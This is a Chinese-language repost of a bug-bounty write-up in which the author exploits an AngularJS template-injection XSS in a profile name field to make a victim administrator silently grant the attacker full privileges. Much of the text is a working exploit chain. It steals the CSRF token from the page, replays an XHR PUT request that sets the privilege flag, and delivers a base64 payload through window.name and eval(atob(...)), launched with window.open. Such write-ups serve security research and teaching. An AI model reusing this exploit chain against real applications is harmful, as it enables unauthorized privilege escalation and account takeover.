大家好,我是Shawar Khan。自我上次写作以来已经时隔好几个月了,这段时间我一直忙于不同的测试目标。最近我在某个目标中发现了一个有趣的XSS漏洞,通过该漏洞我可以将我的权限提升为管理员用户。

XSS是一个非常有趣的漏洞,在发现它之后,你可以直接与应用程序进行通信,而无需担心同源策略。一切都在我们的控制之中,大部分保护都被打破了。

管理员用户拥有应用程序的最高权限可以对任意用户执行添加/删除/编辑操作。而我最终得以提升到管理员权限就是通过XSS做到的。每当我发现XSS,我都会尝试使用一些独特的方式来利用它们。令牌抓取,CSRF保护绕过或是抓取cookie,现在看来已经显得有些过时。

在我的测试期间,在用户配置文件页面我发现了多个XSS漏洞。每个注册用户都有不同的配置文件页面,如“https://www.site.com/users/username-here”。

发现基于 AngularJS 的XSS:

这是一个所有特权用户均可访问包含用户帐户名和姓的页面。应用简单的测试探针,如“><img src=x onerror=prompt()>并没有显示任何结果,所以这说明该应用已做了适当的XSS保护。所有特殊字符都被正确过滤,这引发了我的另一思考,为什么不尝试获取基于AngularJS的XSS呢?转到“ settings”并将帐户名更改为“{{alert(1)}}”。

因此,我以不同的特权用户身份测试了相同的内容,并导航到了我的配置文件/users/username_page(任何用户均可访问)触发payload。

当尝试提升权限时,你的主要目标是寻找能够编辑你角色的功能或是邀请你进入不受限区域的功能。在我的例子中,管理员用户有权编辑/添加用户。

在我的例子中,我有一个测试管理员帐户来测试这些问题,所以我知道要添加一个新的管理员特权用户需要复制什么请求。在没有访问权限的情况下,你只需尝试通过发送document.body.innerHTML的输出来获取管理帐户的源码,并尝试获取有关内部功能的信息。可以利用XSSHunter和其他一些工具来获取此类信息。

如何提供 payload ?

无论如何,用户名字段的长度限制很短,因此无法在该字段中编写整个漏洞利用代码。用户名还会将条目添加到配置文件页面,此外它也会显示为恶意内容。同样受限于长度,无法注入引用外部JavaScript的脚本标记。

与往常一样,我通过window.name提供payload。我总是通过window.name提供payload,因为它没有利用限制,加载我们的漏洞利用代码的payload限制为20个字符,因为我们将只加载给定的payload并将其提供给eval(atob(top.name))使用这种技术的另一个好处是,可以绕过绕过许多恶意关键字的验证检查,因为我们的主要漏洞利用代码不会被输入到易受攻击的应用程序中。因此简而言之,我们的攻击代码不会被验证和检查。

因此,可以通过使用window.open(url,”window name here”) 打开一个URL来设置window name,我们将漏洞利用代码设置为base64。因此,通过调用window.name,它将返回我们的漏洞代码,这些代码将由eval()执行

定位用户修改功能:

此功能发现于管理用户门户,并且最高权限用户能够任意更改应用程序中用户的数据和权限。这里有不同的选项,如电子邮件更改和复选框,以确认用户是否具有更高的权限。通过设置参数“csc=1”,用户将被授予full权限,但此操作只能由管理员用户执行。如果仅检索源码,则可以通过执行源码审查来了解哪些端点采用哪些参数来映射所有功能。

以下是将用户修改为管理员和完全权限用户的请求:

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1

为了提升我们的权限,应该再现以上请求,这样当更高权限用户访问我们的漏洞利用代码时,我们的用户将被修改。

编写漏洞利用代码:

我们首先要检索的是CSRF令牌,这样我们就可以验证请求。有时它会出现在cookie中,因此从document.cookie中检索它非常容易,但在本例中,是在一个meta标记中找到的:

<meta name="CSRF_TOKEN" content="TOKEN_HERE">

我使用fetch()打开了位于/settings的设置页面,并将其输出存储在变量woot中。然后我使用woot.getElementsByTagName(‘meta’)[3]['content']来检索CSRF令牌的值,并将其存储到新变量csrf_token中,现在我们的漏洞利用代码如下:

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content']
...
...
...

现在我们将使用XHR重现请求:

function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token=' csrf_token '&name=Mrs. Camylle Kertzmaz{{eval(window.name)}}&email=user@example.org&phone=&csc=1');
}

上面的privilege_escalate()函数在执行时将发送一个POST请求,该请求将更改攻击者帐户(在我的例子中为mrs-camylle-kertzmazevalwindowname)的信息,并将名称更改为payload {{eval(atob(window.name))}}这将保留名称,因此当window.name具有漏洞利用代码时,它将用于从window.name执行漏洞利用代码。此外,该请求的csc=1这将更改用户的权限。

最终的漏洞利用代码:

// XSS Exploit code for Privilege Escalation
// Author: Shawar Khan
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token=' csrf_token '&name=Mrs. Camylle Kertzmaz{{eval(window.name)}}&email=user@example.org&phone=&csc=1');
}
}
)

漏洞利用代码可进一步base64编码并用作window name,因此当eval(atob(window.name))执行该代码时将触发它。我们现在可以使用以下代码打开我们的配置文件页面,并将我们的漏洞利用代码设置为window name。这样,一旦访问了window.name,我们的漏洞利用代码就会被触发:

<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxL**wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZ**ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlL**yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script>

在以下截图中我们可以看到,我们的用户可以访问的功能受限:

而在高权限用户成功执行漏洞利用代码后,我们的帐户拥有了最高权限以及对管理功能的访问权限。如下图所示:

总结

每当测试XSS漏洞时,千万不要因为应用程序对用户输入的正确过滤而放弃。你应该进一步的通过尝试使用其他技术来实现对XSS的有效利用。例如本文中提到的XSS。尝试使用{{alert(1}}或尝试上传.swf,.svg,.html,.url等文件。

永远不要停留在漏洞的检测上,总是试着去了解它的局限性和范围。在面对XSS时,尝试与独特的功能进行交互,而不仅仅只是一个弹窗。

*参考来源:shawarkhan,FB小编secist编译,转载请注明来自FreeBuf.COM